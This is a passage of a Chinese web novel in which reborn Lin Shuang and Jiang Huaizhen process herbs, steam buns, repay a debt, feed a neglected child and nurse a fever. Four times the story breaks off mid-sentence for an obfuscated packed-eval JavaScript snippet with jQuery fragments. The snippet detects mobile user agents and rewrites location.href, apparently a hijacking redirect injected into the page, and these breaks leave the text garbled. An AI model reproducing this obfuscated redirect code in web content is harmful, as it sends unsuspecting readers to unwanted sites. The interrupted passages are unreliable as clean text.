林霜本不想她那么辛苦，但她坚持，只好由她去。 等她再回到半山腰，药材也刚好洗完，两人把筐装满，一个挑一个背，走了一刻多钟才回到家。 家里簸箕不够，江怀贞不知道从哪里翻出来一张竹席道：“洗一洗还能用，回头得空了再编新的。” 说着就把席子扛去洗。 自己原本就是个勤快的人，江怀贞比她的行动力还强，林霜觉得跟江怀贞一起干活真的是太省力气了， 眼下天气干燥，吹的都是北风，虽然这些防风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162895|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着水堆在一起，但放通风处一个晚上并不打紧，等明早席子干了，再摊开来晒都不是问题。 江老太精神还不错，听到她们回来了，扶着墙来到堂屋看她们处理药材。 看着几大箩筐的药，忍不住问道：“这玩意儿以前我在山上见过，没想到也是药？” “很多药材长得跟普通草一样，很难分辨出，不是做这一行的不认识也不奇怪。” 林霜刚说完就后悔了。 果然江老太眼珠子一转，盯着她问：“林家也不是做药材的，怎的你就认得了？” 她心一跳，编造道：“我姥爷常年生病，家里自己采了很多草药，我去过几次，认识过几样。” 江家祖孙两人常年住在山谷里，几乎没跟村里人交流，更别提知晓林家二房的事，林霜也是仗着这一点才敢胡乱编造。 江老太确实没有再继续追究下去，只是咕哝了一声：“倒是个记性好的。” 林霜把药材简单处理一下后就去厨房弄饭，打算晚上做包子吃。 江怀贞搬了凳子坐在门口继续编簸箕。 考虑到未来可能还要时不时上山采药，她把剩下的几个簸箕的框架都弄得很大，方便以后能晾晒更多的东西。 江老太拄着拐杖又去了厨房，见林霜正在和面，问：“这是又要弄什么吃的？” 林霜回道：“昨天煎油还剩两大盘油渣，干巴了你又吃不了，江姐姐也不爱单吃油渣，还不如剁碎了和酸菜混一起做馅儿，包大包子吃。” 听了这个做法，江老太显然很满意，毕竟要是换作自家那个不开窍的孙女，她能把油渣倒入水煮的大白菜里面一锅炖了。 “往后别让那死丫头碰炉灶。”说完扶着墙拄着拐杖，慢吞吞往屋子里挪去。 坐在门口编竹子的江怀贞看了一眼她背影，很快又低下头，继续忙活手上的事情。 林霜一边剁着油渣一边冲着她笑道：“祖婆还真以为你喜欢围着炉灶转啊。” 江怀贞才停下手上的动作，委屈道：“我那是赶鸭子上架。” 难得她对事情有了带着情绪的回应，林霜道：“放心吧，有我在，没人再赶你这只鸭子上架。” 江怀贞见她笑话自己，没再理会她，抿着唇专心干自己的活儿。 20.酸菜包子 十斤猪板油炼下来的油渣还真不少，林霜和了一大盆面，打算多做点包子，明早起来还能当早饭。 等剁完酸菜和油渣，又去菜地拔了几棵葱，切好了混入馅儿中，把粗盐捣碎，撒进去调味。 “怀贞，下次上街了买点酱，炒菜好吃。” “什么酱？”对于江怀贞来说，厨房这些东西，调味只有盐巴，要是没有个确切的名称，她真不知道要买什么。 “豆酱清、五香料、幽菽和醋这些——算了，下次我去再买。” 乡下人吃饭素来都是粗茶淡饭，最喜欢油脂多的食物。炸的油渣里面还带着好些油脂，加上酸菜的咸酸和葱花辛辣清香，今晚的包子不需要其他调味就已经够了。 等忙活完这些，面也发得差不多，她擀好面皮，找了个凳子坐下来开始包包子。 江老太还没生病的时候，比较少鼓捣这些东西，江怀贞觉得新奇，也忍不住朝她边多看了几眼。 看到一张张面皮连带着里边的馅儿，在那双巧手里一拉一扯再一揉捏，眨眼之间就变成了一个个圆滚滚的大包子，看得她有些挪不开眼睛。 没过多久，二十多个胖嘟嘟的包子就已经整整齐齐摆放在案板上。 家里两个人擅长木工，因此蒸屉是一直有的，先前给老太太蒸蛋早就用上了。 林霜把包子摆了两层，冷水上锅蒸。 “等会儿吃完晚饭，我去村正家还银子，你要一起去吗？”江怀贞问道。 “你想我陪你去吗？”林霜拿木头挑着炉灶里的火苗。 江怀贞回道：“我都可以，你要是想去逛逛，可以出去走一走。” 林霜笑笑道：“那我要跟你一起去。” 江怀贞嗯了一声，将手上最后一根竹片插到簸箕底部固定住，又完成了一个。 林霜催她：“你坐那儿好一会儿了，起来去走走，一直低头脖子酸痛。” 江怀贞正拿着竹片摆放在地上，准备编下一个新的，听到她这么说，哦了一声，放下手里的东西，“我先把一部分防风给晾晒上，能晾一点算一点。” 林霜往炉子里塞了跟耐烧的大木头，也跟着她出去堂屋，看着她往箩筐里抓了几大把的防风根，散在新编好的簸箕上，放到屋檐下边。 “明日白天再拿出外面去晒，没有太阳，吹吹风也好。” “就这种天气，得晾多久才能好？” “眼下秋高气爽，一般六七天就能晒干。那边的绞股蓝，吹个五天的风就差不多了。天气要是不好，就多晒几天。” 防风稍微麻烦一些，晒至半干时得去掉毛须，再晒至九成干，按粗细、长短分别扎成小捆，再继续晒至全干。 江怀贞点头表示明白，在外头站了一会儿，又坐回来，继续编竹子。 江家靠山，平日村里的人不爱往山谷这边来，后山树木林立。父女俩人又擅长木工，平时为了练习砍头，没少拿树木练手，因此柴火很充足，都是一些耐烧的大木头，火力足，也不怎么需要看火，跟林家那种拿着秸秆当柴火真不一样。 没多久的工夫，锅里就发出咕嘟的冒泡声，蒸笼上冒出白色的雾气。很快，包子的香味丝丝入鼻，虽然没有炒菜时候那么霸道，但尤其绵长。 包子大，林霜多蒸了一会儿，眼看差不多了，这才停了火儿，把蒸屉给搬下来放到桌子上。 等揭开蒸笼，热气裹挟着浓郁的香味瞬间扑鼻而来，一个个圆润饱满的包子，像是被定了身似的，静静躺在那儿，散发着诱人的气息。 她自己趁热尝了一口，觉得没有问题，这才冲着门口的女人道：“怀贞，快来吃包子。” 说着拿碗装了两个，给老太太拿进屋去。 江老太知道她这会儿正在灶间蒸酸菜油渣包子，耳朵一直注意着外头的动静，心痒难耐。 林霜进门的时候，就见这干瘦的小老太太正坐在床上，眼巴巴望着门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169727|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的方向。 她眉眼不禁放软下来。 把小桌子架好，包子也端上来，又盛了一碗温水，免得她吃了喉咙干噎着了。 老太太对她的安排很满意，挥手道：“成了成了，我自个儿能吃了，去吃你们的。” 林霜嘱咐：“刚出锅烫得很，慢点吃。” “我这么大个人还要你交代？”老太太不耐烦。 见她出去，老太太迫不及待拿了一个凑到鼻子边闻了闻，觉得味道很满意，这才轻轻掰开，吹了吹，迫不及待咬上一口。 烫是真烫啊，但面发得真好，包子皮绵软，很是蓬松。 酸菜才腌没多久，并没有很酸，配着油渣的焦香和葱香，一口下去，那股子酸爽开胃解腻，着实上头。 这死丫头，真会做。 林霜转身回了厨房，见江怀贞还坐在那儿，疑惑地看着她道：“怎么还没吃？” “等你来一起吃。”江怀贞放下手中的竹条，才慢吞吞站起来。 林霜两辈子做人，还是第一次有人会专门等着她一起吃饭，以前在林家，稍微慢一点，饭菜就被一扫而光，到了秦家，只有先顾着别人吃饱了自己才能吃。 而眼前这人，明明已经馋得不行，但还是忍着等自己来。 她心底发暖，催促道：“快去洗手。” 老太太吃包子要拿碗，她们可就直接上手了。 江怀贞洗了手，擦干后接过林霜给她递过来的包子，咬了一大口，原本无甚表情的脸上微微动了动。 “真好吃。”她说道。 面皮里面渗透了油渣，顺着喉咙滚下去，混着唾液，发出明显的吞咽声音。 只有遇到很喜欢吃，吃得欢的时候才会发出这样的声音。 林霜笑眯眯看她，“好吃就多吃一些，回头等赚了钱，到时候咱再换别的馅儿试试。” 说着，也顾不上吃相，狼吞虎咽地，一口气炫了三个大包子。 21.还钱村正 二十多个包子，江老太破天荒吃完了两个，江怀贞吃五个，林霜吃三个半，剩下半个又塞给了江怀贞。 江怀贞没有嫌弃，默默地又将她吃剩的半个吃完。 包子很大，她有些撑得慌，也没坐着，站起来四处走。 林霜见状笑道：“刚好去村正家，走去再回来，消食也消得差不多了。” 江怀贞闻言，便进屋去拿银子，和江老太说了一声两人就出门去了。 这时正是傍晚，白天的热度这会儿也降下来，风吹得呼呼响，带着些许的凉意。 林霜看着前面高挑的背影，还有远处天边的一片火红，突然一阵百感交集。可怜上一辈子食不果腹心惊胆战的一生，让她根本没有时间和心情去体验过除了饥寒和生死之外的事情。 虽然她现在和江怀贞也依然要面临着种种困难，比如江老太的病，比如因为江怀贞职业带来的种种压力，比如钱…… 好在这一切困难，都是来自外部。 她上一世的伤害，表面上看，也主要来自外部。 但事实上走到那个地步，同时也离不开她自己内心的选择，她选择了错误的道路，选择了委曲求全，选择了忍耐而不是反抗，选择了留在秦家而不是奋不顾身地逃离……最后导致腿断身残被活埋的下场。 外人卑鄙可恶，她没保护好自己，给了他们伤害自己的机会。 而本应该作为她坚实后盾的林家，却成了她悲剧的开始，更是在后面的日子一而再再而三落井下石，将她由内而外地摧毁。 但现在不一样了，重活一世带来的信息差，让她能比别人更轻易找到对抗困难的最佳解决方案。而经历过上一世那个义无反顾将自己带回家的江怀贞，更是让她有了坚实的后盾和底气，如今她觉得自己坚不可摧。 因此，即使狂风暴雨到来，她相信自己也能想到办法克服，迎风不倒。 她加快脚步追上前去，挽住江怀贞的手臂。 江怀贞肘部碰到她袖口里软绵绵的大包子，问：“这是拿去给谁？” 林霜本就没想瞒着她，笑眯眯道：“以前邻居家有个小娃娃，挺可怜的，待会儿也许能碰到她。” 江怀贞问：“一个够吃吗？” “她还不到四岁，这么大个包子，能吃饱。” 江怀贞嗯了一声，没再说什么，任由她挽着自己朝村正家走去。 没过多久，就到了地方。 村正家的木门在风中微微摇晃，显得有些破旧，而从屋里传来的，是村正的老妻严婆那尖锐刺耳的声音。 “就你大方，银子多得没处花，什么人都敢借！别人对她避都避不及，你倒好，反倒还贴上去了。” “说好的有银子就还，昨天晌午行刑，赏银已经到手，晚上回村就该还回来了。” “忙？能忙一整天？眼看天都快黑了，连个影子都没见！我说啊，这银子八成是打水漂了！” “你啊你，我就不该让你管钱——” 声音不大不小，门口两人正好能听见。 林霜转头看着江怀贞，对方脸上没什么表情，正要上前去敲门，一声清脆的呼唤从道路的另一头远远传来：“怀贞姐——” 而屋里的争吵声也在这一瞬戛然而止。 紧接着，木门“吱呀”一声打开，严婆探出头来，脸上瞬间堆满了笑。 “哟，贞丫头来了，找老头子呢，我去叫他。” 也没招呼人进门，反倒在转身的时候把门给掩上。 江怀贞对这种情况早已见怪不怪，往后退了几步，走到门前的小路上。 这时，刚刚喊她的那个小姑娘已经一蹦一跳地跑到两人跟前，兴奋得眼睛都亮了起来：“怀贞姐，好久没见你了！” 来人是村正八岁的孙女冬至，这孩子是个欢脱的，对长得好看的江怀贞格外自来熟。一天天地想去山谷玩，被严婆打得皮开肉绽才歇了心思。 这几天听说江怀贞去当刽子手了，又成天嚷嚷着要进城去看她“砍头”，让严婆气得不行。 见冬至扑过来，江怀贞不动声色地侧身让开一步。 林霜看着眼前的小姑娘提醒道：“冬至，你祖婆叫你呢。” 冬至撇了撇嘴，不情愿地回头。门口的木门再次被推开，严婆站在门口，脸上满是不耐烦，恶狠狠地冲着冬至喊道：“一天到晚疯跑，这时候才回来！还不赶紧进门杵在外头做什么？” 冬至不敢顶撞严婆，恋恋不舍地看了江怀贞一眼，才慢吞吞地朝大门口挪去，嘴里嘟囔着：“我就想和怀贞姐多说几句话嘛……” 村正这时候也出来了，一张老脸带着几分窘迫。 江怀贞将准备好的二两银子递给他道：“前些日子实在拮据，多谢七叔公。” 若是老妻不在，村正倒是还想说几句客气的话，但这会儿人就站在身后虎视眈眈，他只得接过来，讪讪道：“好说好说……” 江怀贞没有多留，适时告辞。 村正欲言又止，最终只挤出一句：“天快黑了，路上小心些，别摔着了。” 严婆在背后冷哼一声，小声嘀咕道：“还用你嘱咐她？她连杀人都不怕，还怕走夜路……” 林霜听在耳里，一把牵住江怀贞的手，快速离开村正家，朝林家附近的那棵大树走去。 那棵大树就是平日萍儿等待她母亲的那棵树。 可今天却没见人。 林霜估摸着这小丫头可能回家吃饭了，无奈地叹了口气，拉着江怀贞准备回去。 不想才走出几步，就听到后边传来一声“霜姑姑”。 她赶忙回头，才看到远处一棵大树下钻出个怯生生的小姑娘，头发乱糟糟的。 江怀贞见状道：“你和她好好说话，我去前头等你。” 林霜嗯了一声放开她的手，朝林萍儿跑去，拉着她躲到大树后面。 “天快黑了，你怎么在这里？” 林萍儿抬头看她：“三蛋说带我来捉蛐蛐，我过来又没见到蛐蛐……” 林霜摸了摸她蓬乱的头发道：“三蛋就不是好人，你怎么还信他？” “可只有他愿意带我玩……”小姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169728|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心翼翼道。 “你呀——”林霜无奈，三蛋是萍儿隔壁的隔壁家一个浑小子，平时最爱欺负比他小的孩子。 “一定要找人玩是吗？” 林萍儿不说话了。 林霜又忍不住叹了口气，从袖子里掏出还温温的大包子道：“还没吃饭吧，吃完再回去。” 林萍儿早就饿得咕咕叫，见到这么个白白胖胖的大包子，顿时两眼放光。 “在这里吃完，不能拿去给旁的人。” 被看破小心思的林萍儿抿着小嘴笑了，接过大包子，老老实实坐在树下吃。 她在家里哪里吃过这样的白面包子，平日饭菜更是没有油水，但毕竟是亲孙女，林大年那老妻对她再不待见，也不能让她饿死，就这么饥一顿饱一顿地放养着。 这会儿吃上这大包子，只觉得美味极了，加上肚子饿，不过一会儿就将包子啃完。 林霜摸着她平平的小肚子道：“过会儿天就黑了，别管三蛋，快回家去好吗？” 林萍儿平日里得到最大的善意就是来自林霜，自然是听她的。 乖乖站起身，准备回家。 林霜又交代道：“别和旁人提起你见过我。” “嗯。”林萍点头。 “还有，如果哪天实在饿得受不了，或是被别人欺负了，你爷奶也不管你了，你就往西山谷去找我知道不？” “知道了，”林萍儿抬起头，小小的眉头蹙在一起，委屈道，“霜姑姑，你不能带我走吗……” 林霜深深呼了一口气，摇了摇头：“不能。” 自己与她不亲不故，能以什么身份带她走？ “姑姑就在西山谷，离你不远，以后我们还会经常见面的，不一定要住一起，好吗？” 林萍儿懂事地点了点头。 林霜摸了摸她的小脑袋：“别和你奶顶嘴，嘴巴甜一点，能多吃饭就多吃点，身体养得结实了就不容易生病。” “知道啦。” “快回去吧。” 林萍儿这才在她注视的目光中，一步三回头地朝林家的方向去。 林霜站在树下，嗓子里像是堵了一块大石头。 上一世在她死前的几年，无意中听过萍儿的事，只知道她嫁人了，嫁给了个老鳏夫，过得很不好。 可惜那时她自己自顾不暇，也是无能为力。 如今既然已经回来了，这事自然不会坐视不管。 正想着，身边不知什么时候站了个人。 “喜欢小孩子？” 当然不是，萍儿是特殊情况。想到上一世养的那两个小白眼狼，林霜眼底透着浓浓厌恶道：“不喜欢。” 但随后她又笑了笑：“如果是你的孩子，我倒还是可以考虑考虑多疼疼她。” 江怀贞抱着手臂：“我不生孩子。” 林霜想起户籍的事，吃吃笑道：“是呢，我才是妻，就算要生也是我生，我们的孩子，我又怎么会不喜欢？” 江怀贞脸上神色一僵，随即面无表情道：“你真会开玩笑，走吧，回去了。” 22.一场小病 虽然回来的路上林霜还有心思跟江怀贞开玩笑，但过往那些事，每一次被掀开，便化作细密的银针，扎得人心口生疼。 加上萍儿那可怜的小身影，让她不由想起幼时不被待见的自己。 一时间情绪翻涌如浪。 当夜，她睡得极不安稳，秦家朱门化作血盆大口，膝盖处的剧痛顺着腿骨一路攀上来，将她拖进烈焰里焚烧。 江怀贞照顾江老太两年，很快就感觉到她的不对劲，伸手一摸才发现她发热了。 她并不知道林霜前世经历种种，但想起前日去拿鞋垫时听到马桂花夫妇的对话，还有她偶尔透露的信息，很容易就猜出她自小过得并不好，甚至十分糟糕。 还好烧得不是很烫，端着水来给她换了几条毛巾后，温度便降下来了。 林霜没想到自己这一觉，睡到了次日晚上。 睁开眼睛的时候，眼前灯火轻轻摇曳着，床前一个身影正背对她坐着，手里拿着竹片，正编着簸箕。 长长的头发散在肩上，带着几份恬静， “怀贞……” 江怀贞听到她沙哑的声音，转过头来。 “醒了。” 她站起身，放下手中的簸箕，拍了拍身上的竹屑，才弯下腰将手背探到她额前，见到没有发热，才道：“饿了吧？” 睡了整整一天一夜，林霜浑身虚软，但精神还不错。 “饿了。”她道。 “那你等会儿。” 江怀贞说着，提着油灯去灶屋。 不要一会儿，端来一碗粥和一碗姜汤。 “先喝粥还是先喝姜汤？” 林霜道：“姜汤吧。” 先驱驱寒，昨天应该是因为脱鞋下水洗防风受凉了，加上心理方面的原因，一下子就来了这场病。 想起上一世被那般磋磨却顽强得像只不死的小虫子，如今才稍微踩一下冷水就这样，她不禁苦笑不已。 等明早起来，老太太铁定少不了要对她一番冷嘲热讽。 江怀贞将姜汤端到床边。 这两年来一直在照顾江老太，使得她做起这些事很是得心应手。 林霜倒也没有虚弱到需要人喂药的地步。 上一世，将她背回来后，江怀贞也是这么给她喂药。 只是一口姜汤刚入口，辣得差点吐出来，忍不住抬起头泪眼婆娑看着身前的女人。 但想到比起前世的苦，姜汤的这点辣算得了什么。 不再矫情，乖乖地将碗拿过来，自己舀着，一口一口咽下去。 还是得强大起来才行，否则别说林萍儿这样的小姑娘都保护不了，连自己都未必能站稳脚跟。 而且，她一点都不想让江怀贞一个人照顾两个病人。 当一个人内心坚定，□□就会跟着变得强健起来，附在身上的病菌也会迅速退散，一碗姜汤下去，林霜感觉原本消退的力气和精气神又聚回了身上。 加上一碗热粥，肚子也变得暖暖的。 “现在什么时辰了？” “亥时了。”江怀贞说着，接过她手里的碗勺回厨房。 林霜坐不住，也下了床，跟她去厨房，看着她洗了碗又埋了火。 等回屋子的时候路过堂屋，才发现房子正中间放着一张大席子，长长的竹条铺开来，占了好大块地方。 看样子刚动工没多久。 想起刚刚江怀贞坐在床边编着另外一个簸箕，应该是担心自己突然有什么状况在堂屋听不到。 她心里有些发酸，问道：“这张席子得编多久？” “不参插别的事也得要四五天。” “在外头买多少钱一张？” “用的是皮面，贵一些，这么大一张得八十文，要是用下边那一层，五十文。” 林霜算了算：“匀下来一天十到二十文，也还行。” 村里人闲时去城里打零工，一天也就十到三十文不等，编竹席这种活不需要出去风吹日晒，工价低一些也是正常。 不过如今家家户户都有自己编织的习惯，很少再和外人买够竹制品，这席子编出来了，也难卖出去。 “你好些了吗？”江怀贞突然停下脚步。 林霜收步不及，鼻尖撞上她的肩胛，疼得眼眶泛红，捂着鼻子委屈地看着她：“我现在哪一点像不好的样子？” 江怀贞站在那里，半张脸隐在暗处，唯见鼻梁挺直如远山，一双眸子黑沉沉的，倒影着油灯那豆大的火苗。 “好了就好。” 声音平缓，听不出什么感情，神情也是淡淡。 可林霜却感觉到了宁静和依靠。 她知道，人生的路很长，将所有希望放在另一个人身上是十分危险的事，她也并不想当一朵菟丝花倚赖着江怀贞，但她希望能有一个强大又令人安心的人陪伴。 “今天一天没干活了，明早我们上山去看看能不能挖到什么好东西吧。” 江怀贞端着油灯进了房间，回道：“明天先不去，昨天是我不好，明明知道天气已经变冷了，还让你赤脚下水洗防风，才害得你生病。” “不是你害的，是我自己矫情，”林霜急忙道，生怕这人将罪责揽到身上，“我已经好了。” 江怀贞没与她争执，转而问：“躺了一天一夜，今晚还能睡得着吗？” 林霜：“能的。” 期间睡睡醒醒，脑子里一堆事情相互挤压，算不得睡觉，肯定能睡得着。 说着，又重新躺回了床上，侧着身子看着床边的江怀贞道：“我想起另外一种煎饼子的办法，等明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169729|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天起来，我给你和祖婆煎那种饼子吃。” 当初刚进秦家的时候，她与北方流亡过来那位厨娘交好，那厨娘做饼子一绝。 后来林霜又发现了让饼子变得更加酥脆的办法，煎酥饼这方面，可以说是青出于蓝胜于蓝了。 只是先前买的粗面，做不了那种饼子，后来买了几斤白面，也还没来得及做。 对于对方的手艺，江怀贞没有丝毫质疑，回道：“好。” “听起来并没有很期待的样子。” 江怀贞只得又认认真真地回道：“我很想吃，甚至希望明天快些到来。” 说着，也脱了外衣躺了下来。 林霜乖巧地蹭过来，挨着她的手臂闭上眼睛。 夜风掠过屋外的树梢，发出沙沙的声音。 被窝里浸着两人的体温，很快变得暖呼呼的，江怀贞眼皮子撑不住，就这么沉沉睡去。 一夜无梦。 早上起来，林霜不出意外地被老太太嘲讽了。 “如今的年轻人啊——老婆子年轻那会儿，腊月里光脚踩冰碴子割芦苇……” “就你这个样子，别说去给人冲喜，喜没冲着，倒是先走在人前头了。” 林霜也不恼，笑嘻嘻地把煮好的面疙瘩端去屋里给她。 老太太话音在闻到葱油香时打了个转，喉头滚动着咽下后半句。汤匙刮碗底的刺啦声持续了半盏茶功夫，最后连汤带水吃完面疙瘩，长叹一声，又换了副嘴脸：“差强人意，也就比那死丫头做得好那么一点儿。” 谁能想象隔了几天突然又吃起自家孙女做的猪食，那时怎样一种什么滋味啊？简直难以下咽，昨晚上就喝了几口粥，菜愣是一个都没动。 睡到早上，早饿得不行。 不冲别的，就单纯为了一口好吃的，她无论如何都舍不得林霜出什么意外。 江怀贞吃完早饭便出门了，去买砖头。 这几天秋高气爽，晚上风很大，几日前做的火炕板子明天就能用了。 江怀贞没让林霜跟着，出门之前又嘱咐她不要上山，林霜无法，想着几天前从林家拿回来的鞋底，便找了些布，去老太太房间里做鞋子。 江老太眼睛瞟着她手里鞋底，问道：“你这么小个儿，能长这么长一双脚？” “给江姐姐做的，”林霜道，“她每天进进出出，鞋子容易烂，街上买的那些也不耐穿，我多裹几层布，缝得厚实一些，能穿久一些。” 听到是给江怀贞做的，江老太原本撇下去的嘴又勾了起来，仔细盯着她的针脚道：“缝得也还行，能穿罢了。” 林霜上辈子不知道给秦家那对白眼狼缝了多少衣服鞋子，哪里是“还行”两个字能概括的。 她抿着嘴藏住笑意：“穿着干活，不要多漂亮。”